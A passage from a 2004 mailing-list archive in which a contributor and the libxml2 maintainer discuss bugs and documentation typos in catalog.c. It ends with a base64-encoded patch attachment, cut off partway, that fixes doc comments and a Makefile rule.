xmlACatalogResolveSystem l.2579 xmlCatalogResolveSystem l.3063 same as above xmlCatalogGetSystem l.3499 * Try to lookup the system ID associated to a public ID ????????? ^^^^^^^^^ xmlFreeCatalog l.395 * @catal: a Catalog entry ^^^^^^ xmlCatalogDumpEntry l.420 * @entry: the ^^^^^^^^^ several places: whereas the functions consistently use pubID and sysID, the docu refers to them in some places as pubId and sysId. 2. I think you should handle the generation of xml2Conf.sh in the same way as xsltConf.sh, i.e. via a sed script in the Makefile instead of configure substitutions. Otherwise the resulting xml2Conf.sh may refer to unexpanded variables (e.g. XML2_LIBDIR="-L${libdir}") regards Peter Breitenlohner From veillard@redhat.com Wed Feb 25 05:35:32 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by mail.gnome.org (Postfix) with ESMTP id C81A11819E for ; Wed, 25 Feb 2004 05:35:31 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1PAZVb22857 for ; Wed, 25 Feb 2004 05:35:31 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1PAZVi22208 for ; Wed, 25 Feb 2004 05:35:31 -0500 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with ESMTP id i1PAZSeF007627 for ; Wed, 25 Feb 2004 05:35:28 -0500 Received: (from veillard@localhost) by devserv.devel.redhat.com (8.12.10/8.12.10/Submit) id i1PAZSlD007625 for xslt@gnome.org; Wed, 25 Feb 2004 05:35:28 -0500 Date: Wed, 25 Feb 2004 05:35:28 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] libxml2-2.6.7/catalog.c -- various inconsistencies Message-ID: <20040225103528.GM31124@redhat.com> References: <20040221121723.GB18703@redhat.com> <20040224122254.GD31124@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Wed, Feb 25, 2004 at 10:44:34AM +0100, Peter Breitenlohner wrote: > Hi Daniel, Hi Peter, > 1. in order to better understand the XML catalog handling I had a look at the > source code in catalog.c. In doing so I noticed several inconsistencies, > ranging from (I think) a bug to typos in the embedded docu. > > 1.1 xmlCatalogUnWrapURN l.765 > if ((urn[1] == '2') && (urn[1] == 'B')) > this can't possibly work and certainly should be > if ((urn[1] == '2') && (urn[2] == 'B')) > ^ > same for the other 7 cases Dohh, well that tend to prove that nobody uses the URN escaping that the XML catalog people designed, hardly a surprise to me :-) > 1.2 xmlCatalogListXMLResolve l.1885 > if (pubID == NULL) > ret = xmlCatalogListXMLResolve(catal, urnID, NULL); > else if (xmlStrEqual(pubID, urnID)) > ret = xmlCatalogListXMLResolve(catal, pubID, NULL); > else { > ret = xmlCatalogListXMLResolve(catal, pubID, NULL); > this doesn't make much sense and probably should read > if (pubID == NULL) > ret = xmlCatalogListXMLResolve(catal, urnID, NULL); > else if (xmlStrEqual(pubID, urnID)) > ret = xmlCatalogListXMLResolve(catal, pubID, NULL); > else { > ret = xmlCatalogListXMLResolve(catal, pubID, urnID); > ^^^^^ Hum, no, this is just a litteral transcription of the spec in section 7.1.1: ----------------------------------------- If the system identifier is a URN in the publicid namespace, it is converted into a public identifier by "unwrapping" the URN. In this case, one of the following must apply: 1. No public identifier was provided. Resolution continues as if the public identifier constructed by unwrapping the URN was supplied as the original public identifier and no system identifier was provided. 2. The normalized public identifier provided is lexically identical to the public identifier constructed by unwrapping the URN. Resolution continues as if the system identifier had not been supplied. 3. The normalized public identifier provided is different from the public identifier constructed by unwrapping the URN. This is an error. Applications may recover from this error by discarding the system identifier and proceeding with the original public identifier. ----------------------------------------- Which means that if there is already a Public ID passed, one may just ignore the System ID if it is different, but it's an error anyway. The code could be optimized, or an error could be raised, but it's not wrong. Please consider reading the spec while reviewing the code, you can't really do the later without knowing the former. > 1.3 xmlCatalogListXMLResolve l.1902 > ret = xmlCatalogXMLResolve(catal->children, pubID, sysID); > shouldn't this be > ret = xmlCatalogListXMLResolve(catal->children, pubID, sysID); > ? depends on whether catal->children can be a list of children or is always > just one child I would rather see a process in the other way. Can you exhibit a problem with the code ? I would expect the catal->children to be a CATALOG i.e. without siblings. > 1.4 xmlACatalogResolve l.2667 > if (xmlDebugCatalogs) { > if (pubID != NULL) { > xmlGenericError(xmlGenericErrorContext, > "Resolve: pubID %s\n", pubID); > } else { > xmlGenericError(xmlGenericErrorContext, > "Resolve: sysID %s\n", sysID); > } > } > I think this should be replaced by > if (xmlDebugCatalogs) { > if ((pubID != NULL) && (sysID != NULL)) { > xmlGenericError(xmlGenericErrorContext, > "Resolve: pubID %s sysID %s\n", pubID, sysID); > } else if (pubID != NULL) { > xmlGenericError(xmlGenericErrorContext, > "Resolve: pubID %s\n", pubID); > } else { > xmlGenericError(xmlGenericErrorContext, > "Resolve: sysID %s\n", sysID); > } > } > or equivalent, because xmlCatalogListXMLResolve and xmlCatalogSGMLResolve > will resolve either pubID or sysID. Well, that's just debugging code. This is used to trace what happen in debugging mode. Applied but nothing critical. > 1.5 xmlCatalogLocalResolve l.3436 > ditto Applied but nothing critical. > 1.6 various typos in the embedded docu > > xmlCatalogGetSGMLSystem l.2382 > * @sysId: the public ID string > ^^^^^^ > * Returns the system ID if found or NULL otherwise. > ^^^^^^^^^ > what do all these *Resolve routines return? Please clarify /** * xmlCatalogGetSGMLSystem: * @catal: an SGML catalog hash * @sysId: the public ID string * * Try to lookup the catalog local reference for a system ID * * Returns the system ID if found or NULL otherwise. */ It's clear that the function takes a public ID and search a local resource for it. I changed it to * Returns the local resource if found or NULL otherwise. > xmlACatalogResolveSystem l.2579 > xmlCatalogResolveSystem l.3063 > same as above > > xmlCatalogGetSystem l.3499 > * Try to lookup the system ID associated to a public ID > ????????? ^^^^^^^^^ > > xmlFreeCatalog l.395 > * @catal: a Catalog entry > ^^^^^^ > > xmlCatalogDumpEntry l.420 > * @entry: the > ^^^^^^^^^ > > several places: > whereas the functions consistently use pubID and sysID, the docu refers to > them in some places as pubId and sysId. > > 2. I think you should handle the generation of xml2Conf.sh in the same way > as xsltConf.sh, i.e. via a sed script in the Makefile instead of configure > substitutions. Otherwise the resulting xml2Conf.sh may refer to unexpanded > variables (e.g. XML2_LIBDIR="-L${libdir}") Can you send a patch for the remaining issues. Use diff -c to generate a contextual patch. Thanks, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From peb@mppmu.mpg.de Wed Feb 25 07:41:54 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.mppmu.mpg.de (mail.mppmu.mpg.de [134.107.24.11]) by mail.gnome.org (Postfix) with ESMTP id 74304182C8 for ; Wed, 25 Feb 2004 07:41:53 -0500 (EST) Received: by mail.mppmu.mpg.de (Postfix, from userid 1111) id 1ED7ABDFC; Wed, 25 Feb 2004 13:41:52 +0100 (CET) Received: from pcl321.mppmu.mpg.de (pcl321.mppmu.mpg.de [134.107.3.54]) by mail.mppmu.mpg.de (Postfix) with ESMTP id 08931BDE8 for ; Wed, 25 Feb 2004 13:41:52 +0100 (CET) Received: from pcl321.mppmu.mpg.de (localhost [127.0.0.1]) by pcl321.mppmu.mpg.de (8.12.9/8.12.9) with ESMTP id i1PCfp5p011646 for ; Wed, 25 Feb 2004 13:41:51 +0100 Received: from localhost (peb@localhost) by pcl321.mppmu.mpg.de (8.12.9/8.12.9/Submit) with ESMTP id i1PCfplZ011643 for ; Wed, 25 Feb 2004 13:41:51 +0100 X-Authentication-Warning: pcl321.mppmu.mpg.de: peb owned process doing -bs Date: Wed, 25 Feb 2004 13:41:51 +0100 (CET) From: Peter Breitenlohner To: xslt@gnome.org Subject: Re: [xslt] libxml2-2.6.7/catalog.c -- various inconsistencies In-Reply-To: <20040225103528.GM31124@redhat.com> Message-ID: References: <20040221121723.GB18703@redhat.com> <20040224122254.GD31124@redhat.com> <20040225103528.GM31124@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1803957763-1883146335-1077712911=:7706" Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1803957763-1883146335-1077712911=:7706 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 25 Feb 2004, Daniel Veillard wrote: > On Wed, Feb 25, 2004 at 10:44:34AM +0100, Peter Breitenlohner wrote: > > 1.6 various typos in the embedded docu > > ........ > > 2. I think you should handle the generation of xml2Conf.sh in the same way > > as xsltConf.sh, i.e. via a sed script in the Makefile instead of configure > > substitutions. Otherwise the resulting xml2Conf.sh may refer to unexpanded > > variables (e.g. XML2_LIBDIR="-L${libdir}") > > Can you send a patch for the remaining issues. Use diff -c to generate > a contextual patch. Hi Daniel, here is the patch. I hope I got all the 'catalog reference/ xs. 'catalog local reference' and 'local resource' vs. 'resource' right. Please check. regards Peter Breitenlohner --1803957763-1883146335-1077712911=:7706 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="libxml2-2.6.7-diffs" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="libxml2-2.6.7-diffs" ZGlmZiAtY3IgbGlieG1sMi0yLjYuNy1vcmlnL01ha2VmaWxlLmFtIGxpYnht bDItMi42LjcvTWFrZWZpbGUuYW0NCioqKiBsaWJ4bWwyLTIuNi43LW9yaWcv TWFrZWZpbGUuYW0JU3VuIEZlYiAyMiAyMzoxNDozNSAyMDA0DQotLS0gbGli eG1sMi0yLjYuNy9NYWtlZmlsZS5hbQlTdW4gRmViIDIyIDIzOjE0OjM1IDIw MDQNCioqKioqKioqKioqKioqKg0KKioqIDkwMSw5MDYgKioqKg0KLS0tIDkw MSw5MTUgLS0tLQ0KICAjIyB0aGUgdmFsdWUgTk9ORSBpbiBjb25maWd1cmUg aWYgdGhlIHVzZXIgZG9lc24ndCBzcGVjaWZ5IHRoZW0gKHRoaXMNCiAgIyMg aXMgYW4gYXV0b2NvbmYgZmVhdHVyZSwgbm90IGEgYnVnKS4NCiAgDQorIHht bDJDb25mLnNoOiB4bWwyQ29uZi5zaC5pbiBNYWtlZmlsZQ0KKyAjIyBVc2Ug c2VkIGFuZCB0aGVuIG12IHRvIGF2b2lkIHByb2JsZW1zIGlmIHRoZSB1c2Vy IGludGVycnVwdHMuDQorIAlzZWQgLWUgJ3M/XEBYTUxfTElCRElSXEA/JChY TUxfTElCRElSKT9nJyBcDQorIAkgICAgLWUgJ3M/XEBYTUxfSU5DTFVERURJ UlxAPyQoWE1MX0lOQ0xVREVESVIpP2cnIFwNCisgCSAgICAtZSAncz9cQFZF UlNJT05cQD8kKFZFUlNJT04pP2cnIFwNCisgCSAgICAtZSAncz9cQFhNTF9M SUJTXEA/JChYTUxfTElCUyk/ZycgXA0KKyAJICAgICAgIDwgJChzcmNkaXIp L3htbDJDb25mLnNoLmluID4geG1sMkNvbmYudG1wIFwNCisgCSYmIG12IHht bDJDb25mLnRtcCB4bWwyQ29uZi5zaA0KKyANCiAgQ0xFQU5GSUxFUz14bWwy Q29uZi5zaA0KICANCiAgY29uZmV4ZWNkaXI9JChsaWJkaXIpDQpkaWZmIC1j ciBsaWJ4bWwyLTIuNi43LW9yaWcvY2F0YWxvZy5jIGxpYnhtbDItMi42Ljcv Y2F0YWxvZy5jDQoqKiogbGlieG1sMi0yLjYuNy1vcmlnL2NhdGFsb2cuYwlT YXQgTm92IDE1IDE1OjMxOjIyIDIwMDMNCi0tLSBsaWJ4bWwyLTIuNi43L2Nh dGFsb2cuYwlXZWQgRmViIDI1IDEzOjA1OjU2IDIwMDQNCioqKioqKioqKioq KioqKg0KKioqIDM5MiwzOTggKioqKg0KICANCiAgLyoqDQogICAqIHhtbEZy ZWVDYXRhbG9nOg0KISAgKiBAY2F0YWw6ICBhIENhdGFsb2cgZW50cnkNCiAg ICoNCiAgICogRnJlZSB0aGUgbWVtb3J5IGFsbG9jYXRlZCB0byBhIENhdGFs b2cNCiAgICovDQotLS0gMzkyLDM5OCAtLS0tDQogIA0KICAvKioNCiAgICog eG1sRnJlZUNhdGFsb2c6DQohICAqIEBjYXRhbDogIGEgQ2F0YWxvZw0KICAg Kg0KICAgKiBGcmVlIHRoZSBtZW1vcnkgYWxsb2NhdGVkIHRvIGEgQ2F0YWxv Zw0KICAgKi8NCioqKioqKioqKioqKioqKg0KKioqIDQxNyw0MjMgKioqKg0K ICAjaWZkZWYgTElCWE1MX09VVFBVVF9FTkFCTEVEDQogIC8qKg0KICAgKiB4 bWxDYXRhbG9nRHVtcEVudHJ5Og0KISAgKiBAZW50cnk6ICB0aGUgDQogICAq IEBvdXQ6ICB0aGUgZmlsZS4NCiAgICoNCiAgICogU2VyaWFsaXplIGFuIFNH TUwgQ2F0YWxvZyBlbnRyeQ0KLS0tIDQxNyw0MjMgLS0tLQ0KICAjaWZkZWYg TElCWE1MX09VVFBVVF9FTkFCTEVEDQogIC8qKg0KICAgKiB4bWxDYXRhbG9n RHVtcEVudHJ5Og0KISAgKiBAZW50cnk6ICB0aGUgY2F0YWxvZyBlbnRyeQ0K ICAgKiBAb3V0OiAgdGhlIGZpbGUuDQogICAqDQogICAqIFNlcmlhbGl6ZSBh biBTR01MIENhdGFsb2cgZW50cnkNCioqKioqKioqKioqKioqKg0KKioqIDk2 MCw5NjYgKioqKg0KICAgKg0KICAgKiBsb29rdXAgdGhlIGludGVybmFsIHR5 cGUgYXNzb2NpYXRlZCB0byBhbiBYTUwgY2F0YWxvZyBlbnRyeSBuYW1lDQog ICAqDQohICAqIFJldHVybnMgdGhlIHR5cGUgYXNzb2NpYXRlIHdpdGggdGhh dCBuYW1lDQogICAqLw0KICBzdGF0aWMgeG1sQ2F0YWxvZ0VudHJ5VHlwZQ0K ICB4bWxHZXRYTUxDYXRhbG9nRW50cnlUeXBlKGNvbnN0IHhtbENoYXIgKm5h bWUpIHsNCi0tLSA5NjAsOTY2IC0tLS0NCiAgICoNCiAgICogbG9va3VwIHRo ZSBpbnRlcm5hbCB0eXBlIGFzc29jaWF0ZWQgdG8gYW4gWE1MIGNhdGFsb2cg ZW50cnkgbmFtZQ0KICAgKg0KISAgKiBSZXR1cm5zIHRoZSB0eXBlIGFzc29j aWF0ZWQgd2l0aCB0aGF0IG5hbWUNCiAgICovDQogIHN0YXRpYyB4bWxDYXRh bG9nRW50cnlUeXBlDQogIHhtbEdldFhNTENhdGFsb2dFbnRyeVR5cGUoY29u c3QgeG1sQ2hhciAqbmFtZSkgew0KKioqKioqKioqKioqKioqDQoqKiogMTQ2 OSwxNDc2ICoqKioNCiAgLyoqDQogICAqIHhtbENhdGFsb2dYTUxSZXNvbHZl Og0KICAgKiBAY2F0YWw6ICBhIGNhdGFsb2cgbGlzdA0KISAgKiBAcHViSWQ6 ICB0aGUgcHVibGljIElEIHN0cmluZw0KISAgKiBAc3lzSWQ6ICB0aGUgc3lz dGVtIElEIHN0cmluZw0KICAgKg0KICAgKiBEbyBhIGNvbXBsZXRlIHJlc29s dXRpb24gbG9va3VwIG9mIGFuIEV4dGVybmFsIElkZW50aWZpZXIgZm9yIGEN CiAgICogbGlzdCBvZiBjYXRhbG9nIGVudHJpZXMuDQotLS0gMTQ2OSwxNDc2 IC0tLS0NCiAgLyoqDQogICAqIHhtbENhdGFsb2dYTUxSZXNvbHZlOg0KICAg KiBAY2F0YWw6ICBhIGNhdGFsb2cgbGlzdA0KISAgKiBAcHViSUQ6ICB0aGUg cHVibGljIElEIHN0cmluZw0KISAgKiBAc3lzSUQ6ICB0aGUgc3lzdGVtIElE IHN0cmluZw0KICAgKg0KICAgKiBEbyBhIGNvbXBsZXRlIHJlc29sdXRpb24g bG9va3VwIG9mIGFuIEV4dGVybmFsIElkZW50aWZpZXIgZm9yIGENCiAgICog bGlzdCBvZiBjYXRhbG9nIGVudHJpZXMuDQoqKioqKioqKioqKioqKioNCioq KiAxNzAwLDE3MDYgKioqKg0KICAgKiB4bWxDYXRhbG9nWE1MUmVzb2x2ZVVS SToNCiAgICogQGNhdGFsOiAgYSBjYXRhbG9nIGxpc3QNCiAgICogQFVSSTog IHRoZSBVUkkNCiEgICogQHN5c0lkOiAgdGhlIHN5c3RlbSBJRCBzdHJpbmcN CiAgICoNCiAgICogRG8gYSBjb21wbGV0ZSByZXNvbHV0aW9uIGxvb2t1cCBv ZiBhbiBFeHRlcm5hbCBJZGVudGlmaWVyIGZvciBhDQogICAqIGxpc3Qgb2Yg Y2F0YWxvZyBlbnRyaWVzLg0KLS0tIDE3MDAsMTcwNiAtLS0tDQogICAqIHht bENhdGFsb2dYTUxSZXNvbHZlVVJJOg0KICAgKiBAY2F0YWw6ICBhIGNhdGFs b2cgbGlzdA0KICAgKiBAVVJJOiAgdGhlIFVSSQ0KISAgKiBAc3lzSUQ6ICB0 aGUgc3lzdGVtIElEIHN0cmluZw0KICAgKg0KICAgKiBEbyBhIGNvbXBsZXRl IHJlc29sdXRpb24gbG9va3VwIG9mIGFuIEV4dGVybmFsIElkZW50aWZpZXIg Zm9yIGENCiAgICogbGlzdCBvZiBjYXRhbG9nIGVudHJpZXMuDQoqKioqKioq KioqKioqKioNCioqKiAxODM1LDE4NDIgKioqKg0KICAvKioNCiAgICogeG1s Q2F0YWxvZ0xpc3RYTUxSZXNvbHZlOg0KICAgKiBAY2F0YWw6ICBhIGNhdGFs b2cgbGlzdA0KISAgKiBAcHViSWQ6ICB0aGUgcHVibGljIElEIHN0cmluZw0K ISAgKiBAc3lzSWQ6ICB0aGUgc3lzdGVtIElEIHN0cmluZw0KICAgKg0KICAg KiBEbyBhIGNvbXBsZXRlIHJlc29sdXRpb24gbG9va3VwIG9mIGFuIEV4dGVy bmFsIElkZW50aWZpZXIgZm9yIGENCiAgICogbGlzdCBvZiBjYXRhbG9ncw0K LS0tIDE4MzUsMTg0MiAtLS0tDQogIC8qKg0KICAgKiB4bWxDYXRhbG9nTGlz dFhNTFJlc29sdmU6DQogICAqIEBjYXRhbDogIGEgY2F0YWxvZyBsaXN0DQoh ICAqIEBwdWJJRDogIHRoZSBwdWJsaWMgSUQgc3RyaW5nDQohICAqIEBzeXNJ RDogIHRoZSBzeXN0ZW0gSUQgc3RyaW5nDQogICAqDQogICAqIERvIGEgY29t cGxldGUgcmVzb2x1dGlvbiBsb29rdXAgb2YgYW4gRXh0ZXJuYWwgSWRlbnRp ZmllciBmb3IgYQ0KICAgKiBsaXN0IG9mIGNhdGFsb2dzDQoqKioqKioqKioq KioqKioNCioqKiAyMzU1LDIzNjUgKioqKg0KICAvKioNCiAgICogeG1sQ2F0 YWxvZ0dldFNHTUxQdWJsaWM6DQogICAqIEBjYXRhbDogIGFuIFNHTUwgY2F0 YWxvZyBoYXNoDQohICAqIEBwdWJJZDogIHRoZSBwdWJsaWMgSUQgc3RyaW5n DQogICAqDQohICAqIFRyeSB0byBsb29rdXAgdGhlIHN5c3RlbSBJRCBhc3Nv Y2lhdGVkIHRvIGEgcHVibGljIElEDQogICAqDQohICAqIFJldHVybnMgdGhl IHN5c3RlbSBJRCBpZiBmb3VuZCBvciBOVUxMIG90aGVyd2lzZS4NCiAgICov DQogIHN0YXRpYyBjb25zdCB4bWxDaGFyICoNCiAgeG1sQ2F0YWxvZ0dldFNH TUxQdWJsaWMoeG1sSGFzaFRhYmxlUHRyIGNhdGFsLCBjb25zdCB4bWxDaGFy ICpwdWJJRCkgew0KLS0tIDIzNTUsMjM2NSAtLS0tDQogIC8qKg0KICAgKiB4 bWxDYXRhbG9nR2V0U0dNTFB1YmxpYzoNCiAgICogQGNhdGFsOiAgYW4gU0dN TCBjYXRhbG9nIGhhc2gNCiEgICogQHB1YklEOiAgdGhlIHB1YmxpYyBJRCBz dHJpbmcNCiAgICoNCiEgICogVHJ5IHRvIGxvb2t1cCB0aGUgY2F0YWxvZyBs b2NhbCByZWZlcmVuY2UgYXNzb2NpYXRlZCB0byBhIHB1YmxpYyBJRA0KICAg Kg0KISAgKiBSZXR1cm5zIHRoZSBsb2NhbCByZXNvdXJjZSBpZiBmb3VuZCBv ciBOVUxMIG90aGVyd2lzZS4NCiAgICovDQogIHN0YXRpYyBjb25zdCB4bWxD aGFyICoNCiAgeG1sQ2F0YWxvZ0dldFNHTUxQdWJsaWMoeG1sSGFzaFRhYmxl UHRyIGNhdGFsLCBjb25zdCB4bWxDaGFyICpwdWJJRCkgew0KKioqKioqKioq KioqKioqDQoqKiogMjM3OSwyMzg5ICoqKioNCiAgLyoqDQogICAqIHhtbENh dGFsb2dHZXRTR01MU3lzdGVtOg0KICAgKiBAY2F0YWw6ICBhbiBTR01MIGNh dGFsb2cgaGFzaA0KISAgKiBAc3lzSWQ6ICB0aGUgcHVibGljIElEIHN0cmlu Zw0KICAgKg0KICAgKiBUcnkgdG8gbG9va3VwIHRoZSBjYXRhbG9nIGxvY2Fs IHJlZmVyZW5jZSBmb3IgYSBzeXN0ZW0gSUQNCiAgICoNCiEgICogUmV0dXJu cyB0aGUgc3lzdGVtIElEIGlmIGZvdW5kIG9yIE5VTEwgb3RoZXJ3aXNlLg0K ICAgKi8NCiAgc3RhdGljIGNvbnN0IHhtbENoYXIgKg0KICB4bWxDYXRhbG9n R2V0U0dNTFN5c3RlbSh4bWxIYXNoVGFibGVQdHIgY2F0YWwsIGNvbnN0IHht bENoYXIgKnN5c0lEKSB7DQotLS0gMjM3OSwyMzg5IC0tLS0NCiAgLyoqDQog ICAqIHhtbENhdGFsb2dHZXRTR01MU3lzdGVtOg0KICAgKiBAY2F0YWw6ICBh biBTR01MIGNhdGFsb2cgaGFzaA0KISAgKiBAc3lzSUQ6ICB0aGUgc3lzdGVt IElEIHN0cmluZw0KICAgKg0KICAgKiBUcnkgdG8gbG9va3VwIHRoZSBjYXRh bG9nIGxvY2FsIHJlZmVyZW5jZSBmb3IgYSBzeXN0ZW0gSUQNCiAgICoNCiEg ICogUmV0dXJucyB0aGUgbG9jYWwgcmVzb3VyY2UgaWYgZm91bmQgb3IgTlVM TCBvdGhlcndpc2UuDQogICAqLw0KICBzdGF0aWMgY29uc3QgeG1sQ2hhciAq DQogIHhtbENhdGFsb2dHZXRTR01MU3lzdGVtKHhtbEhhc2hUYWJsZVB0ciBj YXRhbCwgY29uc3QgeG1sQ2hhciAqc3lzSUQpIHsNCioqKioqKioqKioqKioq Kg0KKioqIDI0MDMsMjQxMCAqKioqDQogIC8qKg0KICAgKiB4bWxDYXRhbG9n U0dNTFJlc29sdmU6DQogICAqIEBjYXRhbDogIHRoZSBTR01MIGNhdGFsb2cN CiEgICogQHB1YklkOiAgdGhlIHB1YmxpYyBJRCBzdHJpbmcNCiEgICogQHN5 c0lkOiAgdGhlIHN5c3RlbSBJRCBzdHJpbmcNCiAgICoNCiAgICogRG8gYSBj b21wbGV0ZSByZXNvbHV0aW9uIGxvb2t1cCBvZiBhbiBFeHRlcm5hbCBJZGVu dGlmaWVyDQogICAqDQotLS0gMjQwMywyNDEwIC0tLS0NCiAgLyoqDQogICAq IHhtbENhdGFsb2dTR01MUmVzb2x2ZToNCiAgICogQGNhdGFsOiAgdGhlIFNH TUwgY2F0YWxvZw0KISAgKiBAcHViSUQ6ICB0aGUgcHVibGljIElEIHN0cmlu Zw0KISAgKiBAc3lzSUQ6ICB0aGUgc3lzdGVtIElEIHN0cmluZw0KICAgKg0K ICAgKiBEbyBhIGNvbXBsZXRlIHJlc29sdXRpb24gbG9va3VwIG9mIGFuIEV4 dGVybmFsIElkZW50aWZpZXINCiAgICoNCioqKioqKioqKioqKioqKg0KKioq IDI1NzYsMjU4NiAqKioqDQogIC8qKg0KICAgKiB4bWxBQ2F0YWxvZ1Jlc29s dmVTeXN0ZW06DQogICAqIEBjYXRhbDogIGEgQ2F0YWxvZw0KISAgKiBAc3lz SUQ6ICB0aGUgcHVibGljIElEIHN0cmluZw0KICAgKg0KICAgKiBUcnkgdG8g bG9va3VwIHRoZSBjYXRhbG9nIHJlc291cmNlIGZvciBhIHN5c3RlbSBJRA0K ICAgKg0KISAgKiBSZXR1cm5zIHRoZSBzeXN0ZW0gSUQgaWYgZm91bmQgb3Ig TlVMTCBvdGhlcndpc2UsIHRoZSB2YWx1ZSByZXR1cm5lZA0KICAgKiAgICAg IG11c3QgYmUgZnJlZWQgYnkgdGhlIGNhbGxlci4NCiAgICovDQogIHhtbENo YXIgKg0KLS0tIDI1NzYsMjU4NiAtLS0tDQogIC8qKg0KICAgKiB4bWxBQ2F0 YWxvZ1Jlc29sdmVTeXN0ZW06DQogICAqIEBjYXRhbDogIGEgQ2F0YWxvZw0K ISAgKiBAc3lzSUQ6ICB0aGUgc3lzdGVtIElEIHN0cmluZw0KICAgKg0KICAg KiBUcnkgdG8gbG9va3VwIHRoZSBjYXRhbG9nIHJlc291cmNlIGZvciBhIHN5 c3RlbSBJRA0KICAgKg0KISAgKiBSZXR1cm5zIHRoZSByZXNvdXJjZSBpZiBm b3VuZCBvciBOVUxMIG90aGVyd2lzZSwgdGhlIHZhbHVlIHJldHVybmVkDQog ICAqICAgICAgbXVzdCBiZSBmcmVlZCBieSB0aGUgY2FsbGVyLg0KICAgKi8N CiAgeG1sQ2hhciAqDQoqKioqKioqKioqKioqKioNCioqKiAyNjEzLDI2MjEg KioqKg0KICAgKiBAY2F0YWw6ICBhIENhdGFsb2cNCiAgICogQHB1YklEOiAg dGhlIHB1YmxpYyBJRCBzdHJpbmcNCiAgICoNCiEgICogVHJ5IHRvIGxvb2t1 cCB0aGUgc3lzdGVtIElEIGFzc29jaWF0ZWQgdG8gYSBwdWJsaWMgSUQgaW4g dGhhdCBjYXRhbG9nDQogICAqDQohICAqIFJldHVybnMgdGhlIHN5c3RlbSBJ RCBpZiBmb3VuZCBvciBOVUxMIG90aGVyd2lzZSwgdGhlIHZhbHVlIHJldHVy bmVkDQogICAqICAgICAgbXVzdCBiZSBmcmVlZCBieSB0aGUgY2FsbGVyLg0K ICAgKi8NCiAgeG1sQ2hhciAqDQotLS0gMjYxMywyNjIxIC0tLS0NCiAgICog QGNhdGFsOiAgYSBDYXRhbG9nDQogICAqIEBwdWJJRDogIHRoZSBwdWJsaWMg SUQgc3RyaW5nDQogICAqDQohICAqIFRyeSB0byBsb29rdXAgdGhlIGNhdGFs b2cgbG9jYWwgcmVmZXJlbmNlIGFzc29jaWF0ZWQgdG8gYSBwdWJsaWMgSUQg aW4gdGhhdCBjYXRhbG9nDQogICAqDQohICAqIFJldHVybnMgdGhlIGxvY2Fs IHJlc291cmNlIGlmIGZvdW5kIG9yIE5VTEwgb3RoZXJ3aXNlLCB0aGUgdmFs dWUgcmV0dXJuZWQNCiAgICogICAgICBtdXN0IGJlIGZyZWVkIGJ5IHRoZSBj YWxsZXIuDQogICAqLw0KICB4bWxDaGFyICoNCioqKioqKioqKioqKioqKg0K KioqIDMwNjAsMzA3MCAqKioqDQogIA0KICAvKioNCiAgICogeG1sQ2F0YWxv Z1Jlc29sdmVTeXN0ZW06DQohICAqIEBzeXNJRDogIHRoZSBwdWJsaWMgSUQg c3RyaW5nDQogICAqDQogICAqIFRyeSB0byBsb29rdXAgdGhlIGNhdGFsb2cg cmVzb3VyY2UgZm9yIGEgc3lzdGVtIElEDQogICAqDQohICAqIFJldHVybnMg dGhlIHN5c3RlbSBJRCBpZiBmb3VuZCBvciBOVUxMIG90aGVyd2lzZSwgdGhl IHZhbHVlIHJldHVybmVkDQogICAqICAgICAgbXVzdCBiZSBmcmVlZCBieSB0 aGUgY2FsbGVyLg0KICAgKi8NCiAgeG1sQ2hhciAqDQotLS0gMzA2MCwzMDcw IC0tLS0NCiAgDQogIC8qKg0KICAgKiB4bWxDYXRhbG9nUmVzb2x2ZVN5c3Rl bToNCiEgICogQHN5c0lEOiAgdGhlIHN5c3RlbSBJRCBzdHJpbmcNCiAgICoN CiAgICogVHJ5IHRvIGxvb2t1cCB0aGUgY2F0YWxvZyByZXNvdXJjZSBmb3Ig YSBzeXN0ZW0gSUQNCiAgICoNCiEgICogUmV0dXJucyB0aGUgcmVzb3VyY2Ug aWYgZm91bmQgb3IgTlVMTCBvdGhlcndpc2UsIHRoZSB2YWx1ZSByZXR1cm5l ZA0KICAgKiAgICAgIG11c3QgYmUgZnJlZWQgYnkgdGhlIGNhbGxlci4NCiAg ICovDQogIHhtbENoYXIgKg0KKioqKioqKioqKioqKioqDQoqKiogMzA4Miwz MDkwICoqKioNCiAgICogeG1sQ2F0YWxvZ1Jlc29sdmVQdWJsaWM6DQogICAq IEBwdWJJRDogIHRoZSBwdWJsaWMgSUQgc3RyaW5nDQogICAqDQohICAqIFRy eSB0byBsb29rdXAgdGhlIHN5c3RlbSBJRCBhc3NvY2lhdGVkIHRvIGEgcHVi 